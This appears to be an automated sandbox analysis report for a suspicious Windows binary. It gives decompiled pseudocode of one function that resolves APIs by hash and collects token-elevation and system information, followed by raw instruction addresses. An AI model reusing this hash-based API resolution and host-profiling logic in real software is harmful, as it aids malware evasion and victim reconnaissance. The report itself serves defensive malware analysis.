Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DebugOutputString$Sleep$AdaptersInfo
String ID: @
API String ID: 1241301715-2766056989
Opcode ID: e14b4b6ee6e9019fc5d5e34b59ae05679d17f030cba2c19a7f6b1431a8d6aeef
Instruction ID: e01bf32b651fb262974224064ecb053c20bb2ca61bcbdd2d5745f2087d741f67
Opcode Fuzzy Hash: e14b4b6ee6e9019fc5d5e34b59ae05679d17f030cba2c19a7f6b1431a8d6aeef
Instruction Fuzzy Hash: 15810835204386AFEB309FE4CCB1FEF73E9EF85304F404829AA5A5A5D1EB7059059762

Uniqueness

Uniqueness Score: -1.00%

Function 6EFF3930, Relevance: 6.8, APIs: 4, Instructions: 834
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6EFF3930(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				void* _v32;
				intOrPtr _v36;
				char _v44;
				void* _v60;
				void* _v72;
				char _v76;
				char _v84;
				void* _v88;
				char _v92;
				void* _v96;
				long _v100;
				long _v104;
				long _v108;
				char _v112;
				void* _v116;
				char _v120;
				void* _v154;
				struct _SYSTEM_INFO _v156;
				signed int _v160;
				void* _v164;
				char _v168;
				void* _v172;
				char _v176;
				char _v180;
				void* _v184;
				char _v188;
				void* _v196;
				intOrPtr _v424;
				signed char _v428;
				signed char _v432;
				char _v496;
				void* _v500;
				void* _v504;
				char _v520;
				void* _v524;
				intOrPtr _t163;
				intOrPtr _t174;
				char _t175;
				intOrPtr* _t183;
				void* _t187;
				void* _t197;
				signed int _t201;
				char _t212;
				intOrPtr _t219;
				intOrPtr _t223;
				void* _t229;
				int _t234;
				intOrPtr _t241;
				void* _t244;
				void* _t247;
				void* _t255;
				void* _t263;
				void* _t264;
				int _t275;
				void* _t279;
				void* _t282;
				void* _t283;
				void* _t286;
				void* _t289;
				void* _t292;
				void* _t295;
				void* _t298;
				void* _t306;
				intOrPtr _t308;
				void* _t311;
				void* _t313;
				void* _t314;
				intOrPtr _t315;
				void* _t316;
				signed char _t322;
				intOrPtr* _t344;
				void** _t346;
				void* _t354;
				void* _t359;
				void* _t360;
				void* _t362;
				void* _t364;
				intOrPtr _t366;
				void* _t367;
				void* _t368;
				void* _t374;
				void* _t375;
				void* _t377;
				signed char _t378;
				void* _t381;
				intOrPtr _t382;
				intOrPtr _t383;
				void* _t384;
				void* _t386;
				void* _t387;
				void* _t388;
				void* _t389;
				intOrPtr _t392;
				intOrPtr _t394;
				void* _t395;
				intOrPtr _t398;
				intOrPtr _t400;
				intOrPtr* _t402;
				void* _t403;
				void* _t406;
				void* _t407;
				void* _t408;
				void* _t409;
				void* _t410;
				void* _t411;
				intOrPtr* _t413;
				signed char* _t416;
				intOrPtr* _t417;
				void* _t420;
				void* _t425;
				signed int _t429;
				void* _t432;
				void* _t433;
				void* _t434;
				signed int _t439;
				signed int _t442;
				void* _t444;
				intOrPtr* _t445;

				_t439 = _t442;
				_push(__esi);
				_push(__edi);
				_push(__ebx);
				_t444 = (_t442 & 0xfffffff0) - 0x1b4;
				_t313 = __ecx;
				_t163 =  *0x6f01b1f0; // 0x14a0528
				if(_t163 == 0x9ccb2c38) {
					_push(0x30);
					_t163 = E6EFF1030();
					_t444 = _t444 + 4;
					 *0x6f01b1f0 = _t163;
				}
				if( *((char*)(_t163 + 0xb)) == 0 || _t313 != 0) {
					_t416 =  &_v432;
					E6EFF0B70(_t416, 0, 0x11c);
					_t445 = _t444 + 0xc;
					_t377 =  *0x6f01b1f4; // 0x14a1340
					_v432 = 0x11c;
					if(_t377 == 0xc139578) {
						 *0x6f01b1f4 = 0;
						_t314 = 0;
						goto L11;
					} else {
						if(_t377 == 0) {
							_t314 = 0;
							goto L11;
						} else {
							_t314 = 0;
							do {
								_t375 = _t314;
								_t311 = _t375;
								while( *((intOrPtr*)(_t311 + _t377 + 8)) != 0x13e99f60) {
									_t375 = _t375 + 1;
									_t311 = _t311 + 0x18;
									if(_t375 < 0x10) {
										continue;
									} else {
										goto L10;
									}
									goto L236;
								}
								_t308 =  *((intOrPtr*)(_t311 + _t377 + 0x14));
								if(_t308 != 0) {
									L14:
									if(_t308 == 0) {
										L16:
										_t417 =  *0x6f01b1f0; // 0x14a0528
										_t378 = _v432;
										_t322 = _v428;
										 *((intOrPtr*)(_t417 + 4)) = _v424;
										_t428 = (_t378 & 0x000000ff) << 4;
										 *(_t417 + 9) = _t322;
										 *(_t417 + 8) = _t378;
										 *((char*)(_t417 + 0xa)) = _v160 & 0x0000ffff;
										_t380 =  !=  ? 1 : _t314;
										 *((char*)(_t417 + 0xc)) =  !=  ? 1 : _t314;
										_t381 =  *0x6f01b1f4; // 0x14a1340
										_v32 = _t314;
										 *_t417 = (_t322 & 0x000000ff) + ((_t378 & 0x000000ff) << 4) - 0x50;
										if(_t381 == 0xc139578) {
											 *0x6f01b1f4 = 0;
											goto L22;
										} else {
											if(_t381 == 0) {
												L22:
												_push(0xa1310f65);
												_t428 = E6EFF7564(0xa1310f65);
												if(_t428 == 0) {
													if(E6EFF6C50(0xa1310f65) != 0) {
														_push(0xa1310f65);
														_t428 = E6EFF7564(0xa1310f65);
													}
												}
												if(_t428 != 0) {
													_t445 = _t445 + 0xfffffff8;
													_t413 = E6EFF67C8(_t428, 0x16ea6870);
													goto L25;
												}
											} else {
												do {
													_t374 = _t314;
													_t306 = _t374;
													while( *((intOrPtr*)(_t306 + _t381 + 8)) != 0x16ea6870) {
														_t374 = _t374 + 1;
														_t306 = _t306 + 0x18;
														if(_t374 < 0x10) {
															continue;
														} else {
															goto L21;
														}
														goto L27;
													}
													_t413 =  *((intOrPtr*)(_t306 + _t381 + 0x14));
													if(_t413 != 0) {
														L25:
														if(_t413 != 0) {
															 *_t413(0xffffffff,  &_v44);
														}
														goto L27;
													} else {
														goto L22;
													}
													goto L236;
													L21:
													asm("o16 nop [eax+eax]");
													_t22 = _t381 + 0x180; // 0x14a8e68
													_t381 =  *_t22;
												} while (_t381 != 0);
												goto L22;
											}
										}
										L27:
										_t174 =  *0x6f01b1f0; // 0x14a0528
										if(_v36 == 0) {
											 *((char*)(_t174 + 0xb)) = 0x20;
										} else {
											 *((char*)(_t174 + 0xb)) = 0x40;
										}
										_t175 = E6EFF47B0(_t314, _t417, _t428);
										_t382 =  *0x6f01b1f0; // 0x14a0528
										 *((char*)(_t382 + 0x28)) = _t175;
										if( *((intOrPtr*)(E6EFF3930(_t314, 0, _t417, _t428))) >= 0x10) {
											asm("movups xmm0, [0x6f01a130]");
											asm("movsd xmm1, [0x6f01a140]");
											asm("movups [esp+0x130], xmm0");
											asm("movsd [esp+0x140], xmm1");
											_t418 =  &_v120;
											_push(0);
											E6F009350( &_v120);
											_t429 = _t314;
											do {
												E6F009670( &_v120, E6F009650( &_v120) + 4);
												_t315 =  *((intOrPtr*)(_t445 + 0x130 + _t429 * 4));
												_t183 = E6F009640(_t418, E6F009650(_t418) + 0xfffffffc);
												_t429 = 1 + _t429;
												 *_t183 = _t315;
											} while (_t429 < 6);
											_push(0);
											_t314 = 0;
											E6F00C550(0,  &_v160, _t429, _t439, _t418, 0x80000002);
											E6F009510(_t418);
											E6F00C580( &_v172, _t382,  &_v84, 0x1cd1a4f3);
											_push(_v92);
											_t187 = E6F00C790( &_v180, _t382);
											_t419 = _t187;
											E6F000B10( &_v84);
											if(_t187 != 0) {
												E6F00C580( &_v168, _t382,  &(_v156.lpMinimumApplicationAddress), 0xc28d248b);
												_push(_v156.dwOemId);
												_t419 = E6F00C790( &_v176, _t382);
												E6F000B10( &(_v156.lpMinimumApplicationAddress));
												E6F00C580( &_v180, _t382,  &(_v156.dwPageSize), 0xead58213);
												_push(_v160);
												_t432 = E6F00C790( &_v188, _t382);
												E6F000B10( &_v164);
												if(_t419 != 0) {
													if(_t419 == 5) {
														if(_t432 == 0) {
															E6EFF8CA0( &_v164);
															if(_v168 != 0) {
																_t406 = _v172;
																if(_t406 == 0 || _t406 == 0xffffffff) {
																	_t283 = 1;
																} else {
																	_t283 = 0;
																}
																if(_t283 == 0) {
																	E6F00BF00(_t406);
																}
															}
															_v172 = 0;
															_t197 = 3;
															goto L64;
														} else {
															if(_t432 == 1) {
																E6EFF8CA0( &_v164);
																if(_v168 != 0) {
																	_t407 = _v172;
																	if(_t407 == 0 || _t407 == 0xffffffff) {
																		_t286 = 1;
																	} else {
																		_t286 = 0;
																	}
																	if(_t286 == 0) {
																		E6F00BF00(_t407);
																	}
																}
																_v172 = 0;
																_t197 = 4;
																goto L64;
															} else {
																goto L56;
															}
														}
														goto L236;
													} else {
														if(_t419 != 2 || _t432 != 1) {
															goto L56;
														} else {
															E6EFF8CA0( &_v164);
															if(_v168 != 0) {
																_t409 = _v172;
																if(_t409 == 0 || _t409 == 0xffffffff) {
																	_t292 = 1;
																} else {
																	_t292 = 0;
																}
																if(_t292 == 0) {
																	E6F00BF00(_t409);
																}
															}
															_v172 = 0;
															_t197 = 5;
														}
													}
												} else {
													if(_t432 != 0) {
														L56:
														E6EFF8CA0( &_v164);
														if(_v168 != 0) {
															_t408 = _v172;
															if(_t408 == 0 || _t408 == 0xffffffff) {
																_t289 = 1;
															} else {
																_t289 = _t314;
															}
															if(_t289 == 0) {
																E6F00BF00(_t408);
															}
														}
														_v172 = 0;
														_t197 = _t314;
													} else {
														E6EFF8CA0( &_v164);
														if(_v168 != 0) {
															_t410 = _v172;
															if(_t410 == 0 || _t410 == 0xffffffff) {
																_t295 = 1;
															} else {
																_t295 = 0;
															}
															if(_t295 == 0) {
																E6F00BF00(_t410);
															}
														}
														_v172 = 0;
														_t197 = 2;
													}
												}
											} else {
												E6EFF8CA0( &_v156);
												if(_v160 != 0) {
													_t411 = _v164;
													if(_t411 == 0 || _t411 == 0xffffffff) {
														_t298 = 1;
													} else {
														_t298 = 0;
													}
													if(_t298 == 0) {
														E6F00BF00(_t411);
													}
												}
												_v164 = 0;
												_t197 = 1;
											}
										} else {
											_t197 = 1;
										}
										L64:
										_t383 =  *0x6f01b1f0; // 0x14a0528
										 *(_t445 + 0x1ac) = 0;
										 *(_t383 + 0x24) = _t197;
										_t384 =  *0x6f01b1f4; // 0x14a1340
										if(_t384 == 0xc139578) {
											 *0x6f01b1f4 = 0;
											goto L70;
										} else {
											if(_t384 == 0) {
												L70:
												_push(0x3ab94787);
												_t432 = E6EFF7564(0x3ab94787);
												if(_t432 == 0) {
													if(E6EFF6C50(0x3ab94787) != 0) {
														_push(0x3ab94787);
														_t432 = E6EFF7564(0x3ab94787);
													}
												}
												if(_t432 == 0) {
													goto L87;
												} else {
													_t445 = _t445 + 0xfffffff8;
													_t402 = E6EFF67C8(_t432, 0xc17c5a6e);
													goto L73;
												}
											} else {
												do {
													_t368 = _t314;
													_t282 = _t368;
													while( *((intOrPtr*)(_t282 + _t384 + 8)) != 0xc17c5a6e) {
														_t368 = _t368 + 1;
														_t282 = _t282 + 0x18;
														if(_t368 < 0x10) {
															continue;
														} else {
															goto L69;
														}
														goto L88;
													}
													_t402 =  *((intOrPtr*)(_t282 + _t384 + 0x14));
													if(_t402 != 0) {
														L73:
														if(_t402 == 0) {
															L87:
															_t201 = _t314;
														} else {
															_push(_t445 + 0x1ac);
															_push(8);
															_push(0xffffffff);
															if( *_t402() == 0) {
																goto L87;
															} else {
																_t403 =  *0x6f01b1f4; // 0x14a1340
																if(_t403 == 0xc139578) {
																	 *0x6f01b1f4 = 0;
																	goto L81;
																} else {
																	if(_t403 == 0) {
																		L81:
																		_push(0x3ab94787);
																		_t432 = E6EFF7564(0x3ab94787);
																		if(_t432 == 0) {
																			if(E6EFF6C50(0x3ab94787) != 0) {
																				_push(0x3ab94787);
																				_t432 = E6EFF7564(0x3ab94787);
																			}
																		}
																		if(_t432 == 0) {
																			goto L87;
																		} else {
																			_t445 = _t445 + 0xfffffff8;
																			_t366 = E6EFF67C8(_t432, 0x2eeff4c6);
																			goto L84;
																		}
																	} else {
																		do {
																			_t367 = _t314;
																			_t279 = _t367;
																			while( *((intOrPtr*)(_t279 + _t403 + 8)) != 0x2eeff4c6) {
																				_t367 = _t367 + 1;
																				_t279 = _t279 + 0x18;
																				if(_t367 < 0x10) {
																					continue;
																				} else {
																					goto L80;
																				}
																				goto L88;
																			}
																			_t366 =  *((intOrPtr*)(_t279 + _t403 + 0x14));
																			if(_t366 != 0) {
																				L84:
																				if(_t366 == 0) {
																					goto L87;
																				} else {
																					_t275 = GetTokenInformation(_v88, 0x14,  &_v100, 4,  &_v104); // executed
																					if(_t275 == 0) {
																						goto L87;
																					} else {
																						_t201 = _t314 & 0xffffff00 | _v104 > 0x00000000;
																					}
																				}
																			} else {
																				goto L81;
																			}
																			goto L88;
																			L80:
																			asm("o16 nop [eax+eax]");
																			_t66 = _t403 + 0x180; // 0x14a8e68
																			_t403 =  *_t66;
																		} while (_t403 != 0);
																		goto L81;
																	}
																}
															}
														}
													} else {
														goto L70;
													}
													goto L88;
													L69:
													asm("o16 nop [eax+eax]");
													_t62 = _t384 + 0x180; // 0x14a8e68
													_t384 =  *_t62;
												} while (_t384 != 0);
												goto L70;
											}
										}
										L88:
										_t344 =  *0x6f01b1f0; // 0x14a0528
										 *(_t344 + 0x29) = _t201;
										 *((intOrPtr*)(_t344 + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x1d4));
										if( *_t344 >= 0x10) {
											_t386 =  *0x6f01b1f4; // 0x14a1340
											 *(_t445 + 0x1a4) = 0;
											if(_t386 == 0xc139578) {
												 *0x6f01b1f4 = 0;
												goto L100;
											} else {
												if(_t386 == 0) {
													L100:
													_push(0x3ab94787);
													_t432 = E6EFF7564(0x3ab94787);
													if(_t432 == 0) {
														if(E6EFF6C50(0x3ab94787) != 0) {
															_push(0x3ab94787);
															_t432 = E6EFF7564(0x3ab94787);
														}
													}
													if(_t432 != 0) {
														_t445 = _t445 + 0xfffffff8;
														_t386 = E6EFF67C8(_t432, 0xc17c5a6e);
														goto L103;
													}
												} else {
													do {
														_t364 = _t314;
														_t263 = _t364;
														while( *((intOrPtr*)(_t263 + _t386 + 8)) != 0xc17c5a6e) {
															_t364 = _t364 + 1;
															_t263 = _t263 + 0x18;
															if(_t364 < 0x10) {
																continue;
															} else {
																goto L99;
															}
															goto L105;
														}
														_t386 =  *(_t263 + _t386 + 0x14);
														if(_t386 != 0) {
															L103:
															if(_t386 != 0) {
																 *_t386(0xffffffff, 8,  &_v76);
															}
														} else {
															goto L100;
														}
														goto L105;
														L99:
														asm("o16 nop [eax+eax]");
														_t84 = _t386 + 0x180; // 0x14a8e68
														_t386 =  *_t84;
													} while (_t386 != 0);
													goto L100;
												}
											}
											L105:
											_t346 =  &_v84;
											 *_t346 =  *(_t445 + 0x1a4);
											_t346[1] = 1;
											if(E6F00BEA0(_t346, _t386, _t432) == 0) {
												_t387 =  *0x6f01b1f4; // 0x14a1340
												_v88 = 0;
												if(_t387 == 0xc139578) {
													 *0x6f01b1f4 = 0;
													goto L114;
												} else {
													if(_t387 == 0) {
														L114:
														_push(0x3ab94787);
														_t432 = E6EFF7564(0x3ab94787);
														if(_t432 == 0) {
															if(E6EFF6C50(0x3ab94787) != 0) {
																_push(0x3ab94787);
																_t432 = E6EFF7564(0x3ab94787);
															}
														}
														if(_t432 != 0) {
															_t445 = _t445 + 0xfffffff8;
															_t398 = E6EFF67C8(_t432, 0x2eeff4c6);
															goto L117;
														}
													} else {
														do {
															_t362 = _t314;
															_t255 = _t362;
															while( *((intOrPtr*)(_t255 + _t387 + 8)) != 0x2eeff4c6) {
																_t362 = _t362 + 1;
																_t255 = _t255 + 0x18;
																if(_t362 < 0x10) {
																	continue;
																} else {
																	goto L113;
																}
																goto L119;
															}
															_t398 =  *((intOrPtr*)(_t255 + _t387 + 0x14));
															if(_t398 != 0) {
																L117:
																if(_t398 != 0) {
																	GetTokenInformation(_v96, 0x19, _t314, _t314,  &_v100); // executed
																}
															} else {
																goto L114;
															}
															goto L119;
															L113:
															asm("o16 nop [eax+eax]");
															_t94 = _t387 + 0x180; // 0x14a8e68
															_t387 =  *_t94;
														} while (_t387 != 0);
														goto L114;
													}
												}
												L119:
												_t212 = _v92;
												if(_t212 != 0) {
													_push(_t212);
													E6F009350(_t445 + 8);
													_t433 = E6F009640(_t445 + 8, 0);
													_t388 =  *0x6f01b1f4; // 0x14a1340
													if(_t388 == 0xc139578) {
														 *0x6f01b1f4 = 0;
														goto L160;
													} else {
														if(_t388 == 0) {
															L160:
															_push(0x3ab94787);
															_t420 = E6EFF7564(0x3ab94787);
															if(_t420 == 0) {
																if(E6EFF6C50(0x3ab94787) != 0) {
																	_push(0x3ab94787);
																	_t420 = E6EFF7564(0x3ab94787);
																}
															}
															if(_t420 == 0) {
																goto L178;
															} else {
																_t445 = _t445 + 0xfffffff8;
																_t394 = E6EFF67C8(_t420, 0x2eeff4c6);
																goto L163;
															}
														} else {
															do {
																_t360 = _t314;
																_t247 = _t360;
																while( *((intOrPtr*)(_t247 + _t388 + 8)) != 0x2eeff4c6) {
																	_t360 = _t360 + 1;
																	_t247 = _t247 + 0x18;
																	if(_t360 < 0x10) {
																		continue;
																	} else {
																		goto L159;
																	}
																	goto L236;
																}
																_t394 =  *((intOrPtr*)(_t247 + _t388 + 0x14));
																if(_t394 != 0) {
																	L163:
																	if(_t394 == 0) {
																		L178:
																		E6F009510( &_v496);
																		if(_v92 != 0) {
																			E6F00BE30( &_v96, _t433);
																		}
																		goto L122;
																	} else {
																		_t234 = GetTokenInformation(_v104, 0x19, _t433, _v108,  &_v108); // executed
																		if(_t234 == 0) {
																			goto L178;
																		} else {
																			_t395 =  *0x6f01b1f4; // 0x14a1340
																			if(_t395 == 0xc139578) {
																				 *0x6f01b1f4 = 0;
																				goto L171;
																			} else {
																				if(_t395 == 0) {
																					L171:
																					_push(0x3ab94787);
																					 *_t445 = E6EFF7564(0x3ab94787);
																					if( *_t445 == 0) {
																						if(E6EFF6C50(0x3ab94787) != 0) {
																							_push(0x3ab94787);
																							_v520 = E6EFF7564(0x3ab94787);
																						}
																					}
																					if( *_t445 == 0) {
																						goto L176;
																					} else {
																						_t445 = _t445 + 0xfffffff8;
																						_t241 = E6EFF67C8( *((intOrPtr*)(_t445 + 8)), 0x4e2f8db7);
																						goto L174;
																					}
																				} else {
																					do {
																						_t359 = _t314;
																						_t244 = _t359;
																						while( *((intOrPtr*)(_t244 + _t395 + 8)) != 0x4e2f8db7) {
																							_t359 = _t359 + 1;
																							_t244 = _t244 + 0x18;
																							if(_t359 < 0x10) {
																								continue;
																							} else {
																								goto L170;
																							}
																							goto L236;
																						}
																						_t241 =  *((intOrPtr*)(_t244 + _t395 + 0x14));
																						if(_t241 != 0) {
																							L174:
																							if(_t241 == 0) {
																								L176:
																								E6F009510(_t445 + 4);
																								if(_v108 != 0) {
																									E6F00BE30( &_v112, _t433);
																								}
																								goto L122;
																							} else {
																								_push( *_t433);
																								asm("int3");
																								return _t241;
																							}
																						} else {
																							goto L171;
																						}
																						goto L236;
																						L170:
																						asm("o16 nop [eax+eax]");
																						_t133 = _t395 + 0x180; // 0x14a8e68
																						_t395 =  *_t133;
																					} while (_t395 != 0);
																					goto L171;
																				}
																			}
																		}
																	}
																} else {
																	goto L160;
																}
																goto L236;
																L159:
																asm("o16 nop [eax+eax]");
																_t127 = _t388 + 0x180; // 0x14a8e68
																_t388 =  *_t127;
															} while (_t388 != 0);
															goto L160;
														}
													}
												} else {
													if(_v84 != 0) {
														E6F00BE30( &_v88, _t432);
													}
													goto L122;
												}
											} else {
												if( *((char*)(_t445 + 0x198)) != 0) {
													E6F00BE30( &_v84, _t432);
												}
												L122:
												_t434 = _t314;
												_t219 =  *0x6f01b1f0; // 0x14a0528
												 *(_t219 + 0x2c) = _t434;
												goto L124;
											}
										} else {
											_t264 = E6EFF5100(_t419, _t432, _t439);
											_t400 =  *0x6f01b1f0; // 0x14a0528
											if(_t264 == 0) {
												if( *((char*)(_t400 + 0x28)) == 0) {
													 *(_t400 + 0x2c) = 3;
												} else {
													 *(_t400 + 0x2c) = 5;
												}
											} else {
												 *(_t400 + 0x2c) = 6;
											}
											L124:
											_t389 =  *0x6f01b1f4; // 0x14a1340
											if(_t389 == 0xc139578) {
												 *0x6f01b1f4 = 0;
												goto L130;
											} else {
												if(_t389 == 0) {
													L130:
													_push(0xa1310f65);
													_t316 = E6EFF7564(0xa1310f65);
													if(_t316 == 0) {
														if(E6EFF6C50(0xa1310f65) != 0) {
															_push(0xa1310f65);
															_t316 = E6EFF7564(0xa1310f65);
														}
													}
													if(_t316 != 0) {
														_t445 = _t445 + 0xfffffff8;
														_t392 = E6EFF67C8(_t316, 0x4e85f18d);
														goto L133;
													}
												} else {
													do {
														_t354 = _t314;
														_t229 = _t354;
														while( *((intOrPtr*)(_t229 + _t389 + 8)) != 0x4e85f18d) {
															_t354 = _t354 + 1;
															_t229 = _t229 + 0x18;
															if(_t354 < 0x10) {
																continue;
															} else {
																goto L129;
															}
															goto L135;
														}
														_t392 =  *((intOrPtr*)(_t229 + _t389 + 0x14));
														if(_t392 != 0) {
															L133:
															if(_t392 != 0) {
																GetSystemInfo( &_v156);
															}
														} else {
															goto L130;
														}
														goto L135;
														L129:
														asm("o16 nop [eax+eax]");
														_t103 = _t389 + 0x180; // 0x14a8e68
														_t389 =  *_t103;
													} while (_t389 != 0);
													goto L130;
												}
											}
											L135:
											_t223 =  *0x6f01b1f0; // 0x14a0528
											 *((short*)(_t223 + 0xe)) = _v156.dwAllocationGranularity;
											 *((intOrPtr*)(_t223 + 0x10)) = _v156.lpMaximumApplicationAddress;
											 *((intOrPtr*)(_t223 + 0x14)) =  *((intOrPtr*)(_t445 + 0x16c));
											 *((intOrPtr*)(_t223 + 0x18)) = _v156.dwNumberOfProcessors;
											 *((intOrPtr*)(_t223 + 0x1c)) = _v120;
											return _t223;
										}
									} else {
										_push(_t416);
										asm("int3");
										return _t308;
									}
								} else {
									break;
								}
								goto L236;
								L10:
								asm("o16 nop [eax+eax]");
								_t6 = _t377 + 0x180; // 0x14a8e68
								_t377 =  *_t6;
							} while (_t377 != 0);
							L11:
							_push(0xa1310f65);
							_t425 = E6EFF7564(0xa1310f65);
							if(_t425 == 0) {
								if(E6EFF6C50(0xa1310f65) != 0) {
									_push(0xa1310f65);
									_t425 = E6EFF7564(0xa1310f65);
								}
							}
							if(_t425 == 0) {
								goto L16;
							} else {
								_t445 = _t445 + 0xfffffff8;
								_t308 = E6EFF67C8(_t425, 0x13e99f60);
								goto L14;
							}
						}
					}
				} else {
					return _t163;
				}
				L236:
			}

0x6eff3931
0x6eff3936
0x6eff3937
0x6eff3938
0x6eff3939
0x6eff393f
0x6eff3941
0x6eff394b
0x6eff478e
0x6eff4790
0x6eff4795
0x6eff4798
0x6eff4798
0x6eff3955
0x6eff396a
0x6eff3976
0x6eff397b
0x6eff397e
0x6eff3984
0x6eff3992
0x6eff477d
0x6eff4787
0x00000000
0x6eff3998
0x6eff399a
0x6eff47a2
0x00000000
0x6eff39a0
0x6eff39a0
0x6eff39a2
0x6eff39a2
0x6eff39a4
0x6eff39a6
0x6eff39b4
0x6eff39b5
0x6eff39bb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff39bb
0x6eff476c
0x6eff4772
0x6eff39f5
0x6eff39f7
0x6eff39fc
0x6eff39fc
0x6eff3a06
0x6eff3a0a
0x6eff3a0e
0x6eff3a14
0x6eff3a17
0x6eff3a2d
0x6eff3a32
0x6eff3a3a
0x6eff3a41
0x6eff3a44
0x6eff3a4a
0x6eff3a51
0x6eff3a59
0x6eff4739
0x00000000
0x6eff3a5f
0x6eff3a61
0x6eff3a8e
0x6eff3a93
0x6eff3a99
0x6eff3a9d
0x6eff4710
0x6eff471b
0x6eff4721
0x6eff4721
0x6eff4710
0x6eff3aa5
0x6eff3aae
0x6eff3ab6
0x00000000
0x6eff3ab6
0x6eff3a63
0x6eff3a63
0x6eff3a63
0x6eff3a65
0x6eff3a67
0x6eff3a75
0x6eff3a76
0x6eff3a7c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff3a7c
0x6eff4728
0x6eff472e
0x6eff3ab8
0x6eff3aba
0x6eff3ac6
0x6eff3ac6
0x00000000
0x6eff4734
0x00000000
0x6eff4734
0x00000000
0x6eff3a7e
0x6eff3a7e
0x6eff3a84
0x6eff3a84
0x6eff3a8a
0x00000000
0x6eff3a63
0x6eff3a61
0x6eff3ac8
0x6eff3ac8
0x6eff3ad5
0x6eff3add
0x6eff3ad7
0x6eff3ad7
0x6eff3ad7
0x6eff3ae1
0x6eff3ae6
0x6eff3aee
0x6eff3af9
0x6eff3b05
0x6eff3b0c
0x6eff3b14
0x6eff3b1c
0x6eff3b25
0x6eff3b2e
0x6eff3b30
0x6eff3b35
0x6eff3b37
0x6eff3b44
0x6eff3b4b
0x6eff3b5d
0x6eff3b62
0x6eff3b63
0x6eff3b65
0x6eff3b6a
0x6eff3b72
0x6eff3b7b
0x6eff3b82
0x6eff3b9b
0x6eff3ba0
0x6eff3bae
0x6eff3bb3
0x6eff3bb7
0x6eff3bbe
0x6eff3c22
0x6eff3c27
0x6eff3c3a
0x6eff3c3e
0x6eff3c57
0x6eff3c5c
0x6eff3c6f
0x6eff3c78
0x6eff3c7f
0x6eff3cd3
0x6eff465c
0x6eff466f
0x6eff467c
0x6eff467e
0x6eff4687
0x6eff4692
0x6eff468e
0x6eff468e
0x6eff468e
0x6eff4699
0x6eff469c
0x6eff469c
0x6eff4699
0x6eff46a1
0x6eff46ac
0x00000000
0x6eff465e
0x6eff4661
0x6eff46bd
0x6eff46ca
0x6eff46cc
0x6eff46d5
0x6eff46e0
0x6eff46dc
0x6eff46dc
0x6eff46dc
0x6eff46e7
0x6eff46ea
0x6eff46ea
0x6eff46e7
0x6eff46ef
0x6eff46fa
0x00000000
0x6eff4663
0x00000000
0x6eff4663
0x6eff4661
0x00000000
0x6eff3cd9
0x6eff3cdc
0x00000000
0x6eff4108
0x6eff410f
0x6eff411c
0x6eff411e
0x6eff4127
0x6eff4132
0x6eff412e
0x6eff412e
0x6eff412e
0x6eff4139
0x6eff413c
0x6eff413c
0x6eff4139
0x6eff4141
0x6eff414c
0x6eff414c
0x6eff3cdc
0x6eff3c81
0x6eff3c83
0x6eff3ce7
0x6eff3cee
0x6eff3cfb
0x6eff3cfd
0x6eff3d06
0x6eff3d11
0x6eff3d0d
0x6eff3d0d
0x6eff3d0d
0x6eff3d18
0x6eff3d1b
0x6eff3d1b
0x6eff3d18
0x6eff3d20
0x6eff3d2b
0x6eff3c85
0x6eff3c8c
0x6eff3c99
0x6eff3c9b
0x6eff3ca4
0x6eff3caf
0x6eff3cab
0x6eff3cab
0x6eff3cab
0x6eff3cb6
0x6eff3cb9
0x6eff3cb9
0x6eff3cb6
0x6eff3cbe
0x6eff3cc9
0x6eff3cc9
0x6eff3c83
0x6eff3bc0
0x6eff3bc7
0x6eff3bd4
0x6eff3bd6
0x6eff3bdf
0x6eff3bea
0x6eff3be6
0x6eff3be6
0x6eff3be6
0x6eff3bf1
0x6eff3bf4
0x6eff3bf4
0x6eff3bf1
0x6eff3bf9
0x6eff3c04
0x6eff3c04
0x6eff3afb
0x6eff3afb
0x6eff3afb
0x6eff3d2d
0x6eff3d2d
0x6eff3d33
0x6eff3d3e
0x6eff3d41
0x6eff3d4d
0x6eff464b
0x00000000
0x6eff3d53
0x6eff3d55
0x6eff3d82
0x6eff3d87
0x6eff3d8d
0x6eff3d91
0x6eff4622
0x6eff462d
0x6eff4633
0x6eff4633
0x6eff4622
0x6eff3d99
0x00000000
0x6eff3d9f
0x6eff3da6
0x6eff3dae
0x00000000
0x6eff3dae
0x6eff3d57
0x6eff3d57
0x6eff3d57
0x6eff3d59
0x6eff3d5b
0x6eff3d69
0x6eff3d6a
0x6eff3d70
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff3d70
0x6eff463a
0x6eff4640
0x6eff3db0
0x6eff3db2
0x6eff3e6d
0x6eff3e6d
0x6eff3db8
0x6eff3dbf
0x6eff3dc0
0x6eff3dc2
0x6eff3dc8
0x00000000
0x6eff3dce
0x6eff3dce
0x6eff3dda
0x6eff418b
0x00000000
0x6eff3de0
0x6eff3de2
0x6eff3e0f
0x6eff3e14
0x6eff3e1a
0x6eff3e1e
0x6eff4162
0x6eff416d
0x6eff4173
0x6eff4173
0x6eff4162
0x6eff3e26
0x00000000
0x6eff3e28
0x6eff3e2f
0x6eff3e37
0x00000000
0x6eff3e37
0x6eff3de4
0x6eff3de4
0x6eff3de4
0x6eff3de6
0x6eff3de8
0x6eff3df6
0x6eff3df7
0x6eff3dfd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff3dfd
0x6eff417a
0x6eff4180
0x6eff3e39
0x6eff3e3b
0x00000000
0x6eff3e3d
0x6eff3e58
0x6eff3e5c
0x00000000
0x6eff3e5e
0x6eff3e68
0x6eff3e68
0x6eff3e5c
0x6eff4186
0x00000000
0x6eff4186
0x00000000
0x6eff3dff
0x6eff3dff
0x6eff3e05
0x6eff3e05
0x6eff3e0b
0x00000000
0x6eff3de4
0x6eff3de2
0x6eff3dda
0x6eff3dc8
0x6eff4646
0x00000000
0x6eff4646
0x00000000
0x6eff3d72
0x6eff3d72
0x6eff3d78
0x6eff3d78
0x6eff3d7e
0x00000000
0x6eff3d57
0x6eff3d55
0x6eff3e6f
0x6eff3e6f
0x6eff3e75
0x6eff3e8a
0x6eff3e8d
0x6eff3ec8
